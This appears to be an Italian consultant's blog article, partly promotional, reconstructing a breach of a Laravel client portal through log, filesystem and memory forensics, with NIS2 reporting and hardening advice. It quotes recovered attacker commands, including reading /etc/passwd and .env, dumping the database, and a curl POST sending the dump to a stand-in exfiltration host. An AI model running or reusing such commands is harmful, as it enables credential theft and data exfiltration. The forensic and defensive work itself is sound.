Analisi forense di un attacco Laravel: ricostruire la kill chain da log e filesystem
La telefonata di emergenza e la prima regola: non toccare niente
Il 18 novembre 2025 alle 11:23 mi ha chiamato il titolare di una PMI lombarda del settore servizi digitali, fatturato annuo nell'ordine dei 4 milioni di euro, con un portale clienti Laravel 10 ospitato su un VPS Contabo L (10 vCPU, 30 GB RAM, 800 GB NVMe) che gestiva l'anagrafica di circa 2.400 clienti B2B e un'area riservata per il download di documentazione tecnica. Il loro monitoring esterno aveva rilevato alle 10:45 un traffico anomalo in uscita dal VPS verso un IP in Moldavia, con picchi di 40 Mbit/s sostenuti per oltre venti minuti. Il titolare aveva istintivamente fatto la peggior cosa possibile: aveva chiamato il responsabile IT, che aveva acceduto al server via SSH, guardato top, visto un processo php con 98% di CPU, lo aveva ucciso con kill -9, aveva fatto rm di un file sospetto in /tmp/ e aveva riavviato Nginx. La sequenza aveva "risolto" il traffico anomalo in due minuti, ma aveva anche distrutto la maggior parte delle prove forensi che avrebbero permesso di capire come l'attaccante fosse entrato, cosa avesse preso e se fossero rimaste backdoor persistenti.
Quando mi hanno chiamato, 38 minuti dopo l'intervento, ho dato le due istruzioni che do sempre in questi casi. Prima: staccare completamente il server dalla rete (disabilitare l'interfaccia pubblica dal pannello Contabo, non via comando dal server stesso). Seconda: non toccare più niente fino al mio arrivo, e preparare un altro VPS con la stessa snapshot dei backup precedenti per mantenere il servizio operativo mentre il server compromesso viene trattato come scena del crimine digitale. Nelle successive 36 ore ho condotto l'analisi forense completa: ho ricostruito la kill chain dall'accesso iniziale alla exfiltration, ho identificato due backdoor persistenti che il team IT del cliente non aveva notato (una webshell camuffata in un file di configurazione Laravel e una scheduled task in cron con obfuscation base64), ho estratto gli IoC da comunicare al CSIRT per il report obbligatorio entro le 72 ore NIS2, e ho prodotto il documento di 28 pagine che è stato poi utilizzato dal cliente come base per la notifica al Garante Privacy per i dati personali coinvolti.
Questo articolo descrive il metodo operativo che applico per questa classe di analisi forensi su applicazioni Laravel compromesse. Non è un articolo di teoria forense generale - per quella c'è molta buona letteratura già disponibile. È il distillato pratico di cosa guardare, in quale ordine, con quali strumenti, e quali errori evitare. Il principio guida che ripeto in ogni intervento di questo tipo: la forensics applicativa è molto meno glamour della forensics di rete che si vede nei film, ma è dove si trova il 90% della verità sugli attacchi a PMI.
Prima di toccare qualsiasi cosa: snapshot del sistema e chain of custody
La primissima azione tecnica, appena arrivato sul server compromesso (o meglio, sul VPS compromesso già disconnesso dalla rete ma ancora acceso), è produrre una snapshot completa dello stato corrente prima di qualunque analisi. Questo serve a tre scopi: preserva le prove nella loro forma originale in caso di contestazione legale successiva, permette di sperimentare sulla snapshot senza rischiare di distruggere prove, e fornisce il punto di partenza della catena di custodia (chain of custody) che ogni perizia forense richiede per essere difendibile.
Il comando base per un VPS Linux è una sequenza di tre snapshot: un'immagine del filesystem con dd, un dump della RAM con avml o lime se disponibili, e un export dello stato dei processi e delle connessioni di rete correnti. Sul cliente lombardo ho eseguito:
# Identificazione dei device
lsblk
# /dev/sda con una partizione / su ext4
# Immagine full-disk del block device radice
dd if=/dev/sda of=/mnt/forensic/snapshot.img bs=4M status=progress
sha256sum /mnt/forensic/snapshot.img > /mnt/forensic/snapshot.img.sha256
# Dump RAM (avml precompilato come binario statico)
/mnt/forensic/avml /mnt/forensic/ram-dump.lime
sha256sum /mnt/forensic/ram-dump.lime > /mnt/forensic/ram-dump.lime.sha256
# Stato processi, connessioni, moduli kernel
ps auxf > /mnt/forensic/ps.txt
ss -tulnp > /mnt/forensic/sockets.txt
lsmod > /mnt/forensic/lsmod.txt
netstat -antup > /mnt/forensic/netstat.txtLo snapshot va scritto su un device esterno (USB, NFS share, S3 bucket con chiave dedicata), non sullo stesso disco da cui stai copiando. Il motivo è duplice: un disco compromesso potrebbe avere filesystem corruption nascosta che l'operazione di scrittura aggrava, e scrivere l'immagine sullo stesso disco da cui stai copiando altera i timestamp di accesso di milioni di file, inquinando potenziali prove. Il secondo motivo è quello che più frequentemente dimentico di spiegare in formazione: la raccolta di prove in forensics non è solo "salvare i dati", è "salvare i dati senza alterarne la forma originale".
La chain of custody è una tabella che inizia con la snapshot e che aggiorno ogni volta che eseguo un'operazione sulle prove. Le colonne sono: timestamp, operazione eseguita, responsabile, hash dell'artefatto prima e dopo, note. Questa tabella, dopo 36 ore di analisi, contiene tipicamente 40-80 righe e dimostra all'eventuale giudice o auditor che ogni passaggio è tracciato e che le prove non sono state manipolate. Sul cliente lombardo è stata allegata al report forense finale insieme agli hash di tutte le snapshot e al registro delle sessioni di analisi.
La ricostruzione della timeline: log Nginx come punto di partenza
La fase di analisi inizia quasi sempre dai log del web server, perché su un attacco a un'applicazione Laravel l'accesso iniziale arriva quasi sempre via HTTP. Il log di Nginx del cliente lombardo era configurato in formato combined standard, con 14 giorni di retention ruotati da logrotate. La prima operazione è stata ricostruire la timeline di attività sospetta isolando tre classi di richieste: richieste 200 verso path che non dovrebbero essere pubblici, richieste con user-agent anomali rispetto alla baseline dell'applicazione, e burst di richieste dallo stesso IP in finestre temporali brevi.
Gli strumenti che uso sono intenzionalmente semplici - awk, grep, sort, uniq. I log di un VPS PMI sono tipicamente nell'ordine di 50-200 MB al giorno compressi, gestibili con la toolchain Unix standard senza necessità di importarli in ELK o Splunk. Un'analisi esplorativa iniziale che avvia il processo è questa:
# Distribuzione IP per numero di richieste, top 20
zcat /var/log/nginx/access.log.*.gz /var/log/nginx/access.log \
| awk '{print $1}' | sort | uniq -c | sort -rn | head -20
# User agent piu frequenti, esclusi i crawler noti
zcat /var/log/nginx/access.log.*.gz \
| awk -F'"' '{print $6}' \
| grep -viE "googlebot|bingbot|yandex|facebook|linkedin" \
| sort | uniq -c | sort -rn | head -20
# Path 2xx su path sospetti (upload, admin, storage)
zcat /var/log/nginx/access.log.*.gz \
| awk '{print $7, $9}' \
| grep -E "(upload|admin|storage|\.php)" \
| grep -E " 2[0-9][0-9]$" \
| sort | uniq -c | sort -rn | head -30Sul cliente lombardo la query sugli IP ha mostrato un pattern anomalo: un IP della Moldavia (178.XXX.XXX.XXX) con 14.392 richieste nelle 48 ore precedenti la scoperta, contro una media di 200-400 richieste per IP legittimo in quella finestra. Il filtro sugli user-agent ha mostrato che lo stesso IP usava uno user-agent Mozilla/5.0 standard nelle prime richieste (mimetizzazione) e poi curl/7.74.0 nelle richieste successive (quando evidentemente l'attaccante aveva rinunciato alla mimetizzazione perché si era già inserito). La terza query - path sospetti con 2xx - ha rivelato il payload chiave: sei richieste POST verso /api/v1/documents/{id}/attachments con risposta 200 OK da quell'IP, e ognuna seguita da una GET verso /storage/uploads/{hash}.php che restituiva 200 OK invece del 403 Forbidden atteso per i file all'interno di /storage.
Quel pattern mi ha dato la prima ipotesi concreta: IDOR (Insecure Direct Object Reference) su un endpoint di upload combinato con una configurazione Nginx che permetteva l'esecuzione di PHP all'interno di /storage/uploads/. Ho verificato entrambe le ipotesi aprendo il controller DocumentController::addAttachment(): mancava una Policy di autorizzazione sul parametro {id}, quindi qualunque utente autenticato poteva allegare file a qualunque documento di qualunque altro utente. E aprendo /etc/nginx/sites-enabled/portale.conf ho visto che la location /storage/ era gestita dal blocco location ~ \.php$ invece di essere servita come static files puri. Due configurazioni sbagliate combinate: l'attaccante avrebbe fallito con una sola, ma le due insieme gli hanno dato esecuzione di codice remoto.
Stai cercando un Consulente Informatico esperto per condurre analisi forense su un'applicazione Laravel o Symfony compromessa, con produzione di report difendibile in sede legale e comunicazione al CSIRT entro le timeline NIS2? Nel mio profilo professionale trovi l'esperienza concreta su incident response, forensics applicativa e hardening post-compromissione su server Hetzner, OVH, Contabo e Digital Ocean.
Filesystem artifacts: cosa cercare, in quale ordine
Con il vettore di accesso identificato, la seconda fase è l'analisi del filesystem per mappare cosa è stato depositato, modificato o letto dall'attaccante dopo aver ottenuto l'esecuzione di codice. Questa fase lavora sulla snapshot del disco, non sul server vivo, perché gli strumenti forensi tendono a modificare i timestamp di accesso dei file (atime) e un'analisi su sistema vivo inquina le prove.
Gli artefatti che cerco sistematicamente sono quattro classi. La prima sono i file modificati o creati nella finestra temporale dell'attacco. Il comando che uso è:
# File scritti o modificati nelle 48 ore precedenti l'intervento
find /mnt/snapshot/var/www/portale -type f \
-newermt "2025-11-16 00:00:00" \
! -newermt "2025-11-18 12:00:00" \
-printf "%T@ %p\n" | sort -n > /tmp/modified-files.txt
# File eseguibili con permessi sospetti in directory upload
find /mnt/snapshot/var/www/portale/storage -type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \) \
-printf "%T@ %m %u:%g %p\n"Il primo comando sul cliente lombardo ha restituito 47 file modificati nella finestra temporale, di cui 41 erano file di log legittimi e 6 erano veri artefatti dell'attacco: un .php caricato in /storage/uploads/ (la webshell iniziale), tre modifiche al file config/app.php (dove era stata inserita una stringa base64-encoded che decodificata conteneva eval di codice arbitrario, come backdoor persistente), una modifica al file .env con una nuova chiave DEBUG_TOKEN=xxxxx che sembrava legittima ma veniva usata dalla backdoor come canale di comando, e un file routes/persistence.php incluso in routes/web.php da un require aggiunto alla fine - una rotta nascosta che dava all'attaccante una web console autenticata tramite quella DEBUG_TOKEN.
La seconda classe sono i file non modificati di recente ma la cui presenza è anomala rispetto alla baseline di un'applicazione Laravel standard. Strumenti come rkhunter e chkrootkit fanno parte di questa analisi, ma la parte più produttiva è il confronto diff fra il filesystem sotto analisi e una installazione pulita della stessa versione di Laravel con le stesse dipendenze:
# Installazione pulita di riferimento su altro VPS
cd /tmp/reference
composer create-project laravel/laravel:10.45 portale-ref
# Diff strutturale dei file framework
diff -rq /tmp/reference/portale-ref/vendor/laravel \
/mnt/snapshot/var/www/portale/vendor/laravelQuesto passaggio ha rivelato una modifica a vendor/laravel/framework/src/Illuminate/Foundation/Application.php - un file che in un'installazione vanilla Laravel non viene mai modificato - dove era stato iniettato un blocco di codice che leggeva richieste con un header specifico X-Support-Token e le eseguiva come shell commands. Una backdoor nel framework stesso, impossibile da rilevare senza il confronto con il baseline. Il fatto che vendor/ non fosse in .gitignore pulito era parte del problema, ma il punto è che senza la diff strutturale questa modifica sarebbe rimasta invisibile al team del cliente per mesi.
La terza classe sono i file sensibili letti dall'attaccante dopo aver ottenuto accesso. I log di accesso filesystem non sono tipicamente attivi su VPS standard (auditd richiede configurazione esplicita e pochi clienti ce l'hanno), ma il campo atime (access time) su filesystem ext4 con opzioni di mount standard può dare indicazioni. Sul cliente lombardo l'atime del file .env mostrava un accesso alle 10:47 del giorno dell'attacco, 2 minuti dopo la prima richiesta dalla webshell - pattern compatibile con l'attaccante che legge le credenziali del database subito dopo essere entrato. Gli atime sono un indicatore di classe media - possono essere alterati da processi legittimi del server - ma sul cliente il montaggio era con relatime, che aggiorna atime solo se maggiore di mtime, quindi gli atime catturati erano relativamente affidabili.
La quarta classe sono i log applicativi di Laravel stesso (storage/logs/laravel.log) e lo slow query log di MySQL. Il log Laravel spesso contiene errori non gestiti che rivelano il percorso dell'attaccante attraverso l'applicazione: tentativi di SQL injection che falliscono con stack trace, tentativi di deserializzazione malformati, errori di validazione su parametri manipolati. Il log MySQL, se configurato con long_query_time basso (sotto 1 secondo), cattura le query non previste - tipicamente SELECT * FROM users o SELECT * FROM api_tokens eseguite dalla webshell. Il pattern che uso in dettaglio nel mio approfondimento sulla gestione strategica dei log Laravel in produzione, debugging, sicurezza e analisi applicativa per PMI è esattamente quello che ha reso possibile la ricostruzione puntuale dell'attacco nel cliente dell'incipit.
Memory analysis: cosa si trova in RAM che non si trova sul disco
Il dump della RAM, acquisito con avml all'inizio dell'intervento, è la risorsa più ricca di informazioni ma anche la più complessa da analizzare. La memoria contiene i processi in esecuzione al momento della snapshot, le connessioni di rete attive, i buffer dei file descriptor aperti, le chiavi crittografiche in uso, e soprattutto - questo è critico per le webshell - il bytecode PHP che il processo FPM stava eseguendo in quel momento.
Lo strumento che uso è Volatility Framework 3, il tool standard de facto per l'analisi di memory dump forensi supportato dalla Volatility Foundation. Volatility richiede un profilo della versione del kernel Linux che il server stava eseguendo (nel caso del cliente lombardo: Debian 12 con kernel 6.1.0-18-amd64) per poter parsare correttamente le strutture dati del kernel nel dump RAM. I plugin che giro sistematicamente sono: linux.pslist per la lista processi, linux.netscan per le connessioni di rete, linux.bash per la cronologia dei comandi eseguiti dalle shell bash attive, e linux.proc per l'analisi dei singoli processi di interesse.
Sul cliente lombardo l'analisi della RAM ha rivelato due cose che il filesystem da solo non avrebbe dato. Prima: il processo php-fpm con PID 14221 aveva aperto connessioni TCP verso tre IP distinti nella Moldavia e Romania, alcuni dei quali non comparivano nei log di Nginx perché erano connessioni outbound iniziate dalla webshell, non risposte a richieste inbound. Quei tre IP sono diventati parte degli IoC consegnati al CSIRT per il blocco a livello ISP e per la condivisione con i feed di threat intelligence federati. Seconda: la cronologia bash del processo www-data conteneva 47 comandi eseguiti dalla webshell, fra cui diversi cat /etc/passwd, cat /var/www/portale/.env, mysqldump -u db_user -p'...' portale > /tmp/dump.sql, e - il più rivelatore - curl -X POST https://moldova-server-b.example/exfil -F "file=@/tmp/dump.sql". Quel singolo comando era la prova definitiva dell'exfiltration del database, ed è stato citato letteralmente nel report al Garante Privacy per la notifica di data breach.
Il report forense: cosa deve contenere per essere utile
Il deliverable finale di una perizia forense non è "il cliente ha capito cosa è successo" - è un documento scritto che può essere letto da un auditor terzo, da un giudice, da un assicuratore cyber, o da un consulente legale, e che sostenga ogni affermazione con evidenza ancorata agli artefatti raccolti. Il template che uso, derivato dal framework NIST SP 800-86 per il forensic handling di incidenti, ha otto sezioni: executive summary (1 pagina, per il C-level del cliente), timeline dell'incidente (con timestamp UTC ai secondi per ogni evento rilevante), descrizione del vettore di attacco iniziale, descrizione della progressione (privilege escalation, persistence, lateral movement se presente), dati esfiltrati con stima della sensibilità, IoC elencati in formato strutturato pronto per essere inviato al CSIRT o caricato in threat intel platform, raccomandazioni di remediation con priorità, e allegati (hash delle snapshot, estratti log filtrati, screenshot di artefatti notevoli).
La sezione degli IoC è quella che più frequentemente viene riutilizzata, perché fornisce agli altri team di sicurezza (il CSIRT, eventuali MSSP del cliente, i partner della supply chain) la lista di indicatori da monitorare per rilevare lo stesso attaccante su altri loro sistemi. Gli IoC includono: indirizzi IP sorgente dell'attacco, domini e URL usati per comando e controllo, hash SHA256 di tutti i file malevoli rilevati, user-agent utilizzati, header HTTP anomali (nel caso del cliente lombardo, il header X-Support-Token di cui sopra), stringhe univoche trovate nei payload delle webshell. Questo elenco va consegnato al cliente anche in formato STIX/TAXII se il cliente ha un SIEM o una piattaforma di threat intel che lo supporta.
La pubblicazione delle linee guida ENISA per la gestione degli incidenti di cybersicurezza è un riferimento normativo che cito sempre nell'executive summary, perché dimostra ai clienti enterprise che il processo forense è stato condotto secondo standard internazionali riconosciuti. Sul cliente lombardo la notifica al CSIRT Italia è stata inviata a 32 ore dall'inizio dell'intervento (entro la deadline NIS2 di 72 ore), con un early warning intermedio a 18 ore come richiesto dal framework. La notifica al Garante Privacy per il data breach è stata inviata a 52 ore dall'intervento, entro la deadline GDPR.
Hardening post-incidente: cosa non bisogna fare prima di aver capito cosa è successo
L'errore più grave che vedo fare dai team IT post-incidente è applicare hardening massivo prima di aver completato l'analisi forense. Installare fail2ban, aggiornare tutti i pacchetti, resettare tutte le credenziali, riavviare tutti i servizi - tutto benissimo, ma dopo la raccolta delle prove, non prima. Un apt-get upgrade eseguito durante l'analisi cambia i binari di sistema, potenzialmente sovrascrive file che l'attaccante aveva modificato, altera i metadati del filesystem in modo massiccio. Un systemctl restart nginx fatto prima di aver estratto il dump RAM azzera i buffer in memoria del processo php-fpm, distruggendo potenzialmente la cronologia dei comandi della webshell. Un reset delle credenziali del DB prima di aver esportato lo slow query log cancella il contesto delle query anomale eseguite dall'attaccante.
La sequenza corretta che impongo su ogni intervento è: disconnessione dalla rete (per fermare l'emorragia), snapshot forense completo (filesystem + RAM + stato processi), poi analisi sulla snapshot, poi hardening operativo sul VPS ripristinato dal backup pulito - mai sul VPS compromesso stesso, che resta come artefatto di prova fino alla chiusura del caso. Il VPS compromesso va distrutto solo dopo che il report è stato firmato e le eventuali procedure legali sono concluse, tipicamente 3-6 mesi dopo l'incidente.
Il pattern completo di hardening che applico dopo un'analisi forense conclusa è lo stesso che descrivo in dettaglio nel mio articolo sul ripristino e hardening di un sito PHP hackerato su server Hetzner o OVH - con la differenza fondamentale che sul cliente lombardo le misure sono state calibrate esattamente sui gap che l'attacco aveva sfruttato: aggiunta di Policy Laravel su ogni endpoint REST, correzione della configurazione Nginx per disabilitare l'esecuzione PHP in /storage/, introduzione di un WAF applicativo (CrowdSec con regole su pattern di webshell noti), rotazione completa di tutti i segreti e resettaggio forzato di tutte le credenziali utente. Il risultato netto dopo tre settimane di remediation è stato un'applicazione significativamente più dura di prima dell'attacco, e un cliente che - dopo aver vissuto l'esperienza completa - ha introdotto un budget ricorrente per pen test annuale e audit di sicurezza, trasformando l'incidente in un trigger di maturità organizzativa. Se la tua applicazione Laravel o Symfony è stata compromessa, o se sospetti un'intrusione in corso e hai bisogno di un'analisi forense condotta con rigore metodologico e deliverable difendibili in sede legale, contattami immediatamente: nelle prime quattro ore posso guidarti nella preservazione delle prove (spesso la fase più critica e più sbagliata dai team interni), nelle successive 24-72 ore completo l'analisi forense, l'identificazione del vettore, la mappatura degli IoC e la produzione del report per le notifiche normative obbligatorie - tutto con chain of custody documentata e una procedura di hardening mirata sulle vulnerabilità effettivamente sfruttate.